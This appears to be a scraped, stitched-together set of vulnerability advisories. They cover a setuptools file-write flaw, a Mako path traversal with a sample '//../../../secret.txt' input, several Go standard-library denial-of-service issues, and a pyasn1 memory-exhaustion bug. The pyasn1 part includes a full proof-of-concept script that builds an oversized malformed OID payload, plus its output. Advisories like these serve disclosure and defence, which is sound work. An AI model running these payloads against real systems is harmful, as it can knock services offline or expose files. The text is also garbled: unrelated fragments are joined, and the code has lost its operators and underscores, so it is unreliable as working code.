Risk Assessment As easyinstall and packageindex are deprecated, the exploitation surface is reduced. However, it seems this could be exploited in a similar fashion like https://github.com/advisories/GHSA-r9hx-vwmv-q579, and as described by POC 4 in https://github.com/advisories/GHSA-cx63-2mw6-8hw5 report: via malicious URLs present on the pages of a package index.
Impact An attacker would be allowed to write files to arbitrary locations on the filesystem with the permissions of the process running the Python code, which could escalate to RCE depending on the context.
References https://huntr.com/bounties/d6362117-ad57-4e83-951f-b8141c6e7ca5 https://github.com/pypa/setuptools/issues/4946
Insufficient validation of bracketed IPv6 hostnames in net/url
Mako is a template library written in Python. Prior to 1.3.11, TemplateLookup.gettemplate() is vulnerable to path traversal when a URI starts with // (e.g., //../../../secret.txt). The root cause is an inconsistency between two slash-stripping implementations. Any file readable by the process can be returned as rendered template content when an application passes untrusted input directly to TemplateLookup.gettemplate(). This vulnerability is fixed in 1.3.11.
Panic when validating certificates with DSA public keys in crypto/x509
Excessive CPU consumption in ParseAddress in net/mail
Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate. This affects programs which validate arbitrary certificate chains.
Parsing a maliciously crafted DER payload could allocate large amounts of memory, causing memory exhaustion.
ALPN negotiation error contains attacker controlled information in crypto/tls
Excessive CPU consumption in Reader.ReadResponse in net/textproto
Excessive resource consumption when printing error string for host certificate validation in crypto/x509
Summary
After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.
Details
The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496
PoC
For the DoS: py import pyasn1.codec.ber.decoder as decoder import pyasn1.type.univ as univ import sys import resource
Deliberately set memory limit to display PoC try: resource.setrlimit(resource.RLIMITAS, (10010241024, 10010241024)) print("[] Memory limit set to 100MB") except: print("[-] Could not set memory limit")
Test with different payload sizes to find the DoS threshold payloadsizemb = int(sys.argv[1])
print(f"[] Testing with {payloadsizemb}MB payload...")
payloadsize = payloadsizemb 1024 1024 Create payload with continuation octets Each 0x81 byte indicates continuation, causing bit shifting in decoder payload = b'\x81' payloadsize + b'\x00' length = len(payload)
DER length encoding (supports up to 4GB) if length < 128: lengthbytes = bytes([length]) elif length < 256: lengthbytes = b'\x81' + length.tobytes(1, 'big') elif length < 2562: lengthbytes = b'\x82' + length.tobytes(2, 'big') elif length < 2563: lengthbytes = b'\x83' + length.tobytes(3, 'big') else: # 4 bytes can handle up to 4GB lengthbytes = b'\x84' + length.tobytes(4, 'big')
Use OID (0x06) for more aggressive parsing maliciouspacket = b'\x06' + lengthbytes + payload
print(f"[] Packet size: {len(maliciouspacket) / 1024 / 1024:.1f} MB")
try: print("[] Decoding (this may take time or exhaust memory)...") result = decoder.decode(maliciouspacket, asn1Spec=univ.ObjectIdentifier())
print(f'[+] Decoded successfully') print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')
# Try to convert to string print('[] Converting to string...') try: strresult = str(result[0]) print(f'[+] String succeeded: {len(strresult)} chars') if len(strresult) > 10000: print(f'[!] MEMORY EXPLOSION: {len(strresult)} character string!') except MemoryError: print(f'[-] MemoryError during string conversion!') except Exception as e: print(f'[-] {type(e).name} during string conversion')
except MemoryError: print('[-] MemoryError: Out of memory!') except Exception as e: print(f'[-] Error: {type(e).name}: {e}')
print("\n[] Test completed")
Screenshots with the results:
DoS <img width="944" height="207" alt="Screenshot20251219160840" src="https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f" />
<img width="931" height="231" alt="Screenshot20251219152815" src="https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa" />
Leak analysis
A potential heap leak was investigated but came back clean: [] Creating 1000KB payload... [] Decoding with pyasn1... [] Materializing to string... [+] Decoded 2157784 characters [+] Binary representation: 896001 bytes [+] Dumped to heapdump.bin
[] First 64 bytes (hex): 01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081
[] First 64 bytes (ASCII/hex dump): 0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @..... @.. 0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @..... @.... 0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @..... @..... 0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @..... @..... @.
[] Digit distribution analysis: '0': 10.1% '1': 9.9% '2': 10.0% '3': 9.9% '4': 9.9% '5': 10.0% '6': 10.0% '7': 10.0% '8': 9.9% '9': 10.1%
Scenario
1. An attacker creates a malicious X.509 certificate. 2. The application validates certificates. 3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.
Impact
This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc.
Recommendation
Add a limit to the allowed bytes in the decoder.